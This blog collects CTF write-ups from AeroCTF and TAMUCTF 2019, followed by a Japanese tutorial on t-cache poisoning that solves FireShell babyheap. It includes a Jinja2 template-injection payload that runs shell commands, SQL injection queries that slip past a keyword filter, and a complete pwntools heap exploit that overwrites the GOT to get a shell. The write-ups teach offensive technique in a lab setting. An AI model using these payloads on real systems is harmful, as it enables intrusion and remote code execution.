ふるつき

v(*'='*)v かに

AeroCTF Quals 2019 Writeup

I participated in an AeroCTF Qual 2019 as a member of team insecure. We reached 14th place with 3411pts. Thanks to admins for a great competition.

I solved the following challenges. I'm going to describe them.

[Warmup 100pts(23 solves)]misc_warmup

description:

Our reverser loves to create various tasks. This is an example, try to solve.

We were given a file whose name was some_idb.i64. It was generated by IDA. So I opened it using IDA and viewed comments by shortcut key C-m. Then I saw the split flag.

f:id:Furutsuki:20190309224046p:plain

[Warmup 100pts(47 solves)]reverse_warmup

description:

Again, our developers are watching all kinds of memes. Now use for this some program. Try to crack this soft.

The given file just_a_meme.exe is a PE32 file which was written by Go. I analyzed it statically using IDA disassembler. Then I found that the main_checkKey method is the core of its work. It compares a static bytes \x89w\x86\x87\xa0\x8dw\x85\x8d\x85\x8d\xa3 with the command line argument character by character, where each character is xored with 0xd and added by 0x25.

rdata = [0x89, 0x77, 0x86, 0x87, 0xA0, 0x8d, 0x77, 0x85, 0x8d, 0x85, 0x8d, 0xa3]
key = ''

for x in rdata:
    key += chr( (x - 0x25) ^ 0xD )
print(repr(key))

I entered the key i_love_memes to the binary and got the flag.

[Crypto 444pts (33 solves)]pycryptor

description:

Our programmers decided not to use that encoder written in Golange and created a new one in Python. Needless to say that we again lose our drawings? Could you look again at the encoder and an example of its use?

We were given two files: cryptor.py(here) and enc_image.png. At first glance, I found that this image was xored. As some blocks in the image were encrypted with the same key, we could remove the effect of xoring from the image. I choosed the most common block as the base image and got the "nearly decrypted" image. The flag is written at the center-bottom of the decrypted image.

f:id:Furutsuki:20190309230610p:plain

f:id:Furutsuki:20190309230619p:plain

[Forensics 470pts(21 solves)]undefined protocol

description:

We managed to get traffic from the machine of one of the hackers who hacked our navigation systems, but they use some kind of strange protocol over TCP. We were not able to disassemble it, maybe you can find out what he was transmitting?

We got the undefiend_protocol_traffic.pcapng which had some unknown-formatted TCP traffics. By the observation, I could guess the protocol.

I saved the pcapng file as pcap format and decoded the messages by the following script.

f:id:Furutsuki:20190309231249p:plain

import dpkt
import re

def dec(k, s):
    r = ''
    for c in s:
        r += chr(ord(c) ^ k)
    return r

f = open("hoge.pcap", "rb")
pcr = dpkt.pcap.Reader(f)

key = None
for t, buf in pcr:
    eth = dpkt.ethernet.Ethernet(buf)
    ip = eth.data
    if isinstance(ip.data, dpkt.tcp.TCP):
        tcp = ip.data
        if len(tcp.data) != 0:
            d = tcp.data.decode()
            if re.match(r'[0-9]+\n', d):
                key = int(d[:-1])
            else:
                print(dec(key, d)[::-1])

There was a flag at the last of traffic.

(...snip...)
iloveyou
Username: 
lol
[-] Username is invalid!
Exit

qwerty1234
Username: 
admin
Enter the password: 
admin
Welcome admin!

Aero{94d04d04b327e4e52a0bb6c67b3fca7b}

TAMUCTF 2019 Writeup

TAMU CTF had been held from 2019/2/23 09:00 to 2019/3/4 09:00(JST). Our team insecure (me, ptr-yudai and yoshiking) participated in the competition. We got 19162pts and reached 16th position. There were many valuable challenges in the CTF, thanks to all admins!

f:id:Furutsuki:20190304114512p:plain

Most of the challenges were solved by ptr-yudai (his writeup), but even I could solve some challenges too. I'm going to write the solutions to them.

[Reversing 100pts (solved by 1084 teams)] Cheesy

description:

Where will you find the flag?

We're given a 64bit Linux ELF file reversing1. First, I checked the output of strings reversing1 command. I found some base64-like strings in the binary.

 user@box:~/tamuctf/cheesy$ strings reversing1
 ...snip...
 QUFBQUFBQUFBQUFBQUFBQQ==
 Hello! I bet you are looking for the flag..
 I really like basic encoding.. can you tell what kind I used??
 RkxBR2ZsYWdGTEFHZmxhZ0ZMQUdmbGFn
 Q2FuIHlvdSByZWNvZ25pemUgYmFzZTY0Pz8=
 Z2lnZW17M2E1eV9SM3YzcjUxTjYhfQ==
 WW91IGp1c3QgbWlzc2VkIHRoZSBmbGFn
 ...snip...

I decoded them and got the flag gigem{3a5y_R3v3r51N6!}.

AAAAAAAAAAAAAAAA
FLAGflagFLAGflagFLAGflag
Can you recognize base64??
gigem{3a5y_R3v3r51N6!}
You just missed the flag

[Reversing 100pts (solved by 916 teams)]Snakes over cheese

description:

What kind of file is this?

The given file reversing2.pyc has python 2.7 byte-compiled format. The format is easy to decompile. I used https://github.com/zrax/pycdc to decompile it. The result is available here.

As we see the result, the source receives user input and compare it with an internal variable kUIl. The variables kUIl and Fqaa were cpied from XidT and Fqaa respectively. Let's see the value of kUIl and Fqaa.

>>> Fqaa = [102, 108, 97, 103, 123, 100, 101, 99, 111, 109, 112, 105, 108, 101, 125]
>>> XidT = [83, 117, 112, 101, 114, 83, 101, 99, 114, 101, 116, 75, 101, 121]
>>> "".join((chr(c) for c in Fqaa))
'flag{decompile}'
>>> "".join((chr(c) for c in XidT))
'SuperSecretKey'

So the key is SuperSecretKey and the flag is flag{decompile}.

[Reversing 384pts (solved by 405 teams)]042

description:

Cheers for actual assembly!

#medium

We were given the assembly code assembly3.s. I couldn't assemble it because it seemed to be generated on MacOS. So I edited the assembly to make it compatible with GCC on Linux.

  • rename section names: __TEXT,__text,....text, __TEXT,__cstring,...rodata
  • rename some standard functions: _printfprintf, ___strcpy_chkstrcpy
  • comment out some lines: .build_version..., .subsections_via_symbols, and some lines related with stack canary

Then it can be compiled with gcc reversing3_2.s and I was able to run it and got the flag: gigem{A553Mb1Y}.

user@box:~/tamuctf/042$ ./a.out 
The answer: 1
Maybe it's this:5
gigem{A553Mb1Y}
Illegal instruction (core dumped)

[Reversing 497pts (solved by 75 teams)]ReversingErirefvat

Erirefvfat is rot13 of Reversing.

description:

Harder..?

#medium

A given file (reversing4.s)https://gist.github.com/theoldmoon0602/d8bf5aebc0548cde47583f2aa07470ed is similar to reversing3.s. So same operation can be applied to make it compilable. It should be noted that we should link the libm by gcc -lm option because this assembly code uses round function.

Although the emitted ELF file runs correctly, no output can be seen. Tracing the execution of the main function by gdb, I found that the binary makes a string hip on the stack and converts it to uvc(in fact, this is rot13 of hip). Incredibly, the flag is gigem{uvc}.

I think this is terrible as CTF challenge :( There are so many unnecessary pieces in the source code such as round function and mostly unused abcdefghijklmnopqrstuvxyz string (w is missing). I believe all elements in the challenge should have a reason for its existence, not for misleading from the essence of the challenge.

[Misc 340pts (solved by 476 teams)]Hello World

description:

My first program!

Difficulty: medium

We're given a file: hello_world.cpp. At first glance, I found that it is also a whitespace program. When I executed it by an online whitespace interpreter like this, it printed out the message Well sweet golly gee, that sure is a lot of whitespace! and the flag gigem{0h_my_wh4t_sp4c1ng_y0u_h4v3} remained on the stack.

[Android 376pts (solved by 420 teams)]Secrets

description:

Can you find my secrets?

We're given an android apk file: howdyapp.apk. It was a very simple application which has only a count-up function. By the way, because it was android apk file, let's decompile it to source code by below steps.

$ unzip howdyapp.apk
$ dex2jar classes.dex
$ jar xf classes-dex2jar.jar

Then, there were some java class files at the com/tamu/ctf/howdyapp directory. I decompiled them using cfr and found flag variable in the R$string.class file. The variable had a resource id, so I extracted resources. I'm using apktool for extracting the resource directories from the apk file. After apktool d howdyapp.apk, correctly extracted res directory appeared under the howdyapp directory. Let's grep the directory by the keyword flag.

$ grep -R "flag"
values/strings.xml:    <string name="flag">Z2lnZW17aW5maW5pdGVfZ2lnZW1zfQ==</string>
values/attrs.xml:        <flag name="bottom" value="0x00000050" />
(...snip...)
values/attrs.xml:        <flag name="none" value="0x00000000" />
values/public.xml:    <public type="string" name="flag" id="0x7f0b0020" />

We could find a base64-encoded string Z2lnZW17aW5maW5pdGVfZ2lnZW1zfQ== whose name was flag. Decode this to get the flag: gigem{infinite_gigems}.

[Android 460pts (solved by 240 teams)]Local News

description:

Be sure to check your local news broadcast for the latest updates!

Difficulty: medium-hard

app.apk is provided. I extracted it as I explain in the previous challenge. There were three .dex files classes.dex, classes2.dex and classes3.dex. First, I dove into the classes.dex. I decompiled the MainActivity.class to MainActivity.java. Here I pick up the following part from the source code.

        BroadcastReceiver broadcastReceiver = new BroadcastReceiver(){

            public void onReceive(Context context, Intent intent) {
                Log.d((String)MainActivity.this.getString(2131427360), (String)Deobfuscator.app.Debug.getString((int)0));
            }
        };

I wondered what is the value of (String)Deobfuscator.app.Debug.getString((int)0). It seemed to be using third-party obfuscation library. Therefore, I dove into the classes2.dex this time. The decompiled and reworked(= fix variable types, delete package informations, add main function) source code is Hoge.java. By compiling and executing Hoge.java we can get the flag: gigem{hidden_81aeb013bea}

[Crypto 354pts (solved by 455 teams)]RSAaaay

description:

Hey, you're a hacker, right? I think I am too, look at what I made!

(2531257, 43)

My super secret message: 906851 991083 1780304 2380434 438490 356019 921472 822283 817856 556932 2102538 2501908 2211404 991083 1562919 38268

Problem is, I don't remember how to decrypt it... could you help me out?

Difficulty: easy

ptr-yudai tried to decrypt this as RSA where n=2531257, e=43, c0=906851, c1=991083, ... and found the fact that first pair (n, e, c0) could be decrypted to g, but others could not. Here are decrypted numbers.

103 105103 101109 12383 97118 97103 10195 83105 12095 70108 121105 110103 9584 105103 101114 115125 

I noticed that each successor numbers can be split into two ascii numbers. I wrote the following script and got the flag: gigem{Savage_Six_Flying_Tigers}. It... it is boring guessing I think.

import sys
from Crypto.Util.number import *

n, e = (2531257, 43)
p, q = 509, 4973
d = modinv(e, (p-1)*(q-1))

cs=[906851, 991083, 1780304, 2380434, 438490, 356019, 921472, 822283, 817856, 556932, 2102538, 2501908, 2211404, 991083, 1562919, 38268]
for c in cs:
     x = str(pow(c, d, n))
     while len(x) > 0:
         if int(x[0]) < 5:
             sys.stdout.write(chr(int(x[0:3])))
             x = x[3:]
         else:
             sys.stdout.write(chr(int(x[:2])))
             x = x[2:]
sys.stdout.write("\n")         

[Web 100pts (solved by 776 teams)]Robots Rule

description:

http://web5.tamuctf.com

Difficulty: easy

Guessing from the challenge name, I visited /robots.txt on the server, then I saw the following message. It ordered us to make a request as a google-bot.

User-agent: *

WHAT IS UP, MY FELLOW HUMAN!
HAVE YOU RECEIVED SECRET INFORMATION ON THE DASTARDLY GOOGLE ROBOTS?!
YOU CAN TELL ME, A FELLOW NOT-A-ROBOT!

Requesting as a bogus google-bot by this command: curl -A "Googlebot" http://web5.tamuctf.com/robots.txt, we could get the flag: gigem{be3p-bOop_rob0tz_4-lyfe}.

[Web 325pts (solved by 498 teams)]Science!

description:

http://web3.tamuctf.com

Difficulty: medium

f:id:Furutsuki:20190303154837p:plain f:id:Furutsuki:20190303154856p:plain

From the words words Flask as a Service, I tried Server Side Template Injection(SSTI) using Jinja2. As the test input {{ '7'*7 }} showed 7777777, it works. From this page I copied and pasted exploit code: ''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').popen('ls').read(), then the page listed some files including flag.txt. In the same way, I executed cat flag.text and got the flag: gigem{5h3_bl1nd3d_m3_w17h_5c13nc3}.

[Web 362pts (solved by 443 team)]Buckets

Checkout my s3 bucket website! http://tamuctf.s3-website-us-west-2.amazonaws.com/

Difficulty: easy

Guessing that this bucket has a permission problem, I digged the bucket using aws-cli like below.

$ aws s3 ls s3://tamuctf             
                            PRE Animals/
                            PRE Cats/
                            PRE Dogs/
 2019-02-20 02:06:49     124222 doggos3.jpg
 2019-02-20 02:06:49        632 index.html
 
$  aws s3 ls s3://tamuctf/Dogs/
                            PRE CC2B70BD238F48BE29D8F0D42B170127/
 2019-02-20 02:06:49       8120 beaglepup.jpeg
 2019-02-20 02:06:49        919 pup.html
 2019-02-20 02:06:49       6305 puphalloween.jpeg
 2019-02-20 02:06:49       7666 pupnerd.jpeg
 2019-02-20 02:06:49      17666 pupnerd2.webp
 2019-02-20 02:06:49     165653 pups.jpg

I met a very suspicious directiory name CC2B70BD238F48BE29D8F0D42B170127, so I digged deeper and reached to the flag.txt. To get the flag I visited to http://tamuctf.s3-website-us-west-2.amazonaws.com/Dogs/CC2B70BD238F48BE29D8F0D42B170127/CBD2DD691D3DB1EBF96B283BDC8FD9A1/flag.txt from the browser. The flag was flag{W0W_S3_BAD_PERMISSIONS}.

$ aws s3 ls s3://tamuctf/Dogs/CC2B70BD238F48BE29D8F0D42B170127/CBD2DD691D3DB1EBF96B283BDC8FD9A1/
 2019-02-20 02:06:51         28 flag.txt

[Web 478pts (solved by 177 team)]Bird Box Challenge

description:

http://web2.tamuctf.com

We've got Aggies, Trucks, and Eggs!

Difficulty: hard

There was a simple search page, however, it returned Our search isn't THAT good... message against to our query. ptr-yudai discovered the word union was repelled. But as I surveyed, I found /*!0000union*/ was not repelled. For example, we got test by the query http://web2.tamuctf.com/Search.php?Search=test' /*!00000union*/ select 'test. I revealed some curious behavious as I tried some queries.

  • There was only one user-defined table whose name is Search
  • There was only one column in Search, whose name is items
  • There were three rows in items: Aggies, Trucks and Eggs

These pieces of information didn't make me close to the flag. In fact, the flag was hidden in the user name, therefore the query http://web2.tamuctf.com/Search.php?Search=test' /*!00000union*/ select user() from Search where 'x'='x showed us the flag: gigem{w3_4r3_th3_4ggi3s}

t-cache poisoning: FireShell CTF 2019 babyheap

今日はptr-yudaiにt-cache poisoningというテクニックを教えてもらいました。これを使って解ける問題も解き方も教えてもらったので、忘れないうちに書いておきます。

t-cache

t-cacheは2017-08-02にリリースされたglibc 2.26から追加されています(t-cacheが追加されたパッチはこちら)。リリースノートには以下のようにあって、要約すると「mallocに関してスレッド毎のキャッシュを持つようになった。排他制御が必要ないので高速になっている」程度の意味だと思います。t-cache poisoningにはt-cacheに関する知識が必要になるので、簡単に概要を述べていきます。

  • A per-thread cache has been added to malloc. Access to the cache requires no locks and therefore significantly accelerates the fast path to allocate and free small amounts of memory. Refilling an empty cache requires locking the underlying arena. Performance measurements show significant gains in a wide variety of user workloads. Workloads were captured using a special instrumented malloc and analyzed with a malloc simulator. Contributed by DJ Delorie with the help of Florian Weimer, and Carlos O'Donell.

t-cacheの実体

malloc.c内に次のような定義が見られます。tcacheというスレッドローカル変数が存在していて、fastbinsのようにキャッシュされた領域をサイズ毎にリンクリストでつないで配列で持っています。定数TCACHE_MAX_BINSはデフォルトでは64になっていて、キャッシュされるサイズは0x18, 0x28, 0x38, ..., 0x408バイト以下というように区切られています*1。また、リンクリストの長さが定数TCACHE_FILL_COUNTによって制限されていて、デフォルトでは7になっています*2

/* We overlay this structure on the user-data portion of a chunk when
   the chunk is stored in the per-thread cache.  */
typedef struct tcache_entry
{
  struct tcache_entry *next;
} tcache_entry;

/* There is one of these for each thread, which contains the
   per-thread cache (hence "tcache_perthread_struct").  Keeping
   overall size low is mildly important.  Note that COUNTS and ENTRIES
   are redundant (we could have just counted the linked list each
   time), this is for performance reasons.  */
typedef struct tcache_perthread_struct
{
  char counts[TCACHE_MAX_BINS];
  tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;
static __thread char tcache_shutting_down = 0;
static __thread tcache_perthread_struct *tcache = NULL;

このt-cacheへのキャッシュはfastbinsへのキャッシュよりも優先して行われます。そしてCTF的な観点でfastbinsと大きく異なることは、malloc時にchunksizeを確認しないことです。fastbinsから割当てを行う場合はその領域のchunksizeからfastbin_indexを再計算してindexが正しいかを確認する処理が入っているのですが、t-cacheのときにはなぜかこれがありません。現状最新のglibc.2.29でもやはりこのチェックは導入されていませんでした。このチェックはfastbins unlink attackを難しくするものでしたが、t-cache poisoningではこの制限がないということになります。

t-cache poisoning

t-cacheもfastbinsと同じようにlinked listで領域を管理しているので、tcache_entry.nextに当たる部分をUseAfterFreeなどで書き換えることができます。例えば、下図の状態で領域Aはfreeされてt-cacheにキャッシュされていますが、UseAfterFree脆弱性がありnext部分(ここがmallocで返されるアドレスです)を自由に書き換えられると、次のように任意のアドレスをmallocの返り値とすることができます。

  1. UseAfterFree脆弱性を利用して、nextが任意のアドレスを指すようにする(ここでは0xdeadbeefcafebabe
  2. malloc(0x10)など、tcache.entries[0]にキャッシュされている領域を使うようにmallocする。このとき領域Aのアドレスが返される
  3. もう一度malloc(0x10)とする。chunksizeに関するチェックがないのでそのまま0xdeadbeefcafebabeを返す

f:id:Furutsuki:20190225235618p:plain

f:id:Furutsuki:20190226000119p:plain

f:id:Furutsuki:20190226000217p:plain

やっていることはfastbins unlink attackと同じですが、0xdeadbeefcafebabe - 0x8をchunksizeとして見てt_cacheにおけるインデックスを計算する、というチェックが入っていないため、どのようなアドレスでもこの手順で返してくることができます。

FireShell CTF 2019 babyheap

t-cache poisoningを利用して解く問題です。64bit ELFとlibcが与えられていて、セキュリティ機構はNX bitとPartial RELROだけです。ELFの挙動は大体次のとおりです。bufに対するCRUD操作が行えますが、それぞれ1回に回数が制限されています(CREATEのみDELETEすると回数制限が復活しますが)。

int create_flag = 0;
int edit_flag = 0;
int show_flag = 0;
int delete_flag = 0;
int fill_flag = 0;
char *buf;

int main() {
  char input[8];
  while (true) {
    read(0, input, 8);
    int choice = atoi(input);
    if (choice == 1 && create_flag == 0) {
      buf = malloc(0x60);
      create_flag = 1;
    } else if (choice == 2 && edit_flag == 0) {
      read(0, buf, 0x40);
      edit_flag = 1;
    } else if (choice == 3 && show_flag == 0) {
      printf("%s", buf);
      show_flag = 1;
    } else if (choice == 4 && delete_flag == 0) {
      free(buf);
      create_flag = 0;
      delete_flag = 1;
    } else if (choice == 1337 && fill_flag == 0) {
      buf = malloc(0x60);
      read(0, buf, 0x40);
    } else {
      exit(0);
    }
  }
}

この問題の場合、CREATE DELETE とするとt-cacheに領域がキャッシュされ、そのnext要素にあたる部分をEDITで書き換えてt-cache poisoningが可能です。更にFILLを行うことでbufに任意のアドレスを割当て、そこに書き込みを行うことができます。各種フラグとbufグローバル変数として存在し.bssセクションにあるので、このbufにこのアドレスを割当てます。そして0を書き込むことで各種フラグを0にし、もう一度ずつそれぞれの操作を行うことができるようにします。また、同時にbufにはatoi@gotの値を書き込んでおきます。

現在bufatoi@gotのアドレスを指しているので、ここでSHOWを行うことでatoiのアドレスが取得でき、そこからlibcが配置されたアドレスを知ることができます。libc_baseがわかるとlibc内のsystem 関数のアドレスを求めることができるのでEDITでGOT Overwriteを行い、atoi@gotをsystem関数のアドレスに書き換えます。ここで次の入力時に"/bin/sh"などと入力するとsystem("/bin/sh")が呼び出され、フラグを取得できます。

 from pwn import *
 
 CREATE = 1
 EDIT = 2
 SHOW = 3
 DELETE = 4
 EXIT = 5
 FILL = 1337
 
 local = False
 p = process("./babyheap") if local else remote("192.168.205.10", 2000)
 
 ATOI_OFFSET = 0x0000000000042470 if local else 0x0000000000038db0
 SYSTEM_OFFSET = 0x0000000000050300 if local else 0x0000000000047dc0
 PUTS_OFFSET = 0x0000000000081010 if local else None
 
 GOT_ATOI = 0x000000602060
 FLAGS_ADDR = 0x6020a0
  
 def choice(s):
     p.recvuntil("> ")
     p.sendline(str(s))
 
 def write(s):
     p.recvuntil(" ")
     p.sendline(s)
 
 def show():
     p.recvuntil("Content: ")
     return p.recvline()
 
 choice(CREATE)
 choice(DELETE)
 
 choice(EDIT)
 write(p64(FLAGS_ADDR - 8))
 
 choice(CREATE)
 choice(FILL)
 write(p64(0) * 4 + p64(1000) + p64(GOT_ATOI)*2)
 
 
 choice(SHOW)
 addr = show().strip()
 print(len(addr))
 atoi_addr = u64(addr + "\x00\x00")
 print("LIBC atoi address: {:x}".format(atoi_addr))
 
 LIBC_BASE = atoi_addr - ATOI_OFFSET
 print("LIBC BASE ADDR: {:x}".format(LIBC_BASE))
 
 choice(EDIT)
 write(p64(LIBC_BASE + SYSTEM_OFFSET))
 
 p.interactive()

参考

[1] ptr-yudaiの資料

[2] http://tukan.farm/2017/07/08/tcache/

[3] https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#patch2

*1:32bit環境だと0x0c, 0x14, 0x1c, 0x24, ... になります

*2:リンクリストのサイズが最大でも7ということならcounts変数はなくても良い気がします。もっと制限が伸びたときのことを考えてのことでしょうか